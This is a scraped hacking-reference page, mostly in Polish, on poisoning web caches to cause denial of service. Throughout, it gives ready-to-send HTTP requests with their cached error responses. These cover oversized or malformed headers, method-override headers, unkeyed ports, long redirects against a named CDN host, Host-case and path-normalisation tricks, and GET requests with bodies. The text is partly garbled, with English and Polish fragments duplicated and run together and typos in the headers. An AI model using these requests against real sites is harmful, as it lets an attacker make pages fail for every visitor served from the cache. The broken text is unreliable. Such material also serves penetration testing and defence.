Cache Poisoning to DoS
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Na tej stronie znajdziesz różne warianty, aby spróbować sprawić, by serwer WWW odpowiadał błędami na żądania, które są ważne dla serwerów cache
HTTP Header Oversize (HHO)
Wyślij żądanie z rozmiarem nagłówka większym niż ten obsługiwany przez serwer WWW, ale mniejszym niż ten obsługiwany przez serwer cache. Serwer WWW odpowie kodem 400, który może być zbuforowany:
HTTP Meta Character (HMC) & Unexpected values
Wyślij nagłówek, który zawiera szkodliwe znaki meta takie jak i . Aby atak zadziałał, musisz najpierw obejść pamięć podręczną.
GET / HTTP/1.1Host: redacted.comX-Meta-Hedear:Bad Chars\n \rA badly configured header could be just \:
as a header.This could also work if unexpected values are sent, like an unexpected Content-Type:
Źle skonfigurowany nagłówek mógłby być po prostu \:
jako nagłówek.To może również działać, jeśli wysyłane są nieoczekiwane wartości, takie jak nieoczekiwany Content-Type:GET /anas/repos HTTP/2Host: redacted.comContent-Type: HelloWorldUnkeyed headerNiektóre strony internetowe zwrócą kod statusu błędu, jeśli zobaczą niektóre konkretne nagłówki w żądaniu, jak w przypadku nagłówka X-Amz-Website-Location-Redirect: someThing:GET /app.js HTTP/2Host: redacted.comX-Amz-Website-Location-Redirect: someThingHTTP/2 403 ForbiddenCache: hitInvalid HeaderHTTP Method Override Attack (HMO)Jeśli serwer obsługuje zmianę metody HTTP za pomocą nagłówków takich jak X-HTTP-Method-Override
, X-HTTP-Method
lub X-Method-Override
, możliwe jest zażądanie ważnej strony, zmieniając metodę, aby serwer jej nie obsługiwał, co powoduje, że zła odpowiedź jest buforowana:GET /blogs HTTP/1.1Host: redacted.comHTTP-Method-Override: POSTPort bez kluczaJeśli port w nagłówku Host jest odzwierciedlany w odpowiedzi i nie jest uwzględniony w kluczu pamięci podręcznej, możliwe jest przekierowanie go do nieużywanego portu:GET /index.html HTTP/1.1Host: redacted.com:1HTTP/1.1 301 Moved PermanentlyLocation: https://redacted.com:1/en/index.htmlCache: missLong Redirect DoSJak w poniższym przykładzie, x nie jest buforowane, więc atakujący może wykorzystać zachowanie odpowiedzi przekierowania, aby sprawić, że przekierowanie wyśle URL tak dużą, że zwróci błąd. Wtedy osoby próbujące uzyskać dostęp do URL bez niebuforowanego klucza x otrzymają odpowiedź z błędem:GET /login?x=veryLongUrl HTTP/1.1Host: www.cloudflare.comHTTP/1.1 301 Moved PermanentlyLocation: /login/?x=veryLongUrlCache: hitGET /login/?x=veryLongUrl HTTP/1.1Host: www.cloudflare.comHTTP/1.1 414 Request-URI Too LargeCF-Cache-Status: missNormalizacja wielkości liter nagłówka hostaNagłówek hosta powinien być niewrażliwy na wielkość liter, ale niektóre strony internetowe oczekują, że będzie pisany małymi literami, zwracając błąd, jeśli tak nie jest:GET /img.png HTTP/1.1Host: Cdn.redacted.comHTTP/1.1 404 Not FoundCache:missNot FoundNormalizacja ścieżkiNiektóre strony zwrócą kody błędów, wysyłając dane URLencode w ścieżce, jednak serwer cache z URLdecode ścieżkę i zapisze odpowiedź dla ścieżki URLdecoded:GET /api/v1%2e1/user HTTP/1.1Host: redacted.comHTTP/1.1 404 Not FoundCach:missNot FoundFat GetNiektóre serwery cache, takie jak Cloudflare, lub serwery webowe, zatrzymują żądania GET z ciałem, więc można to wykorzystać do zbuforowania nieprawidłowej odpowiedzi:GET /index.html HTTP/2Host: redacted.comContent-Length: 3xyzHTTP/2 403 ForbiddenCache: hitReferenceshttps://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)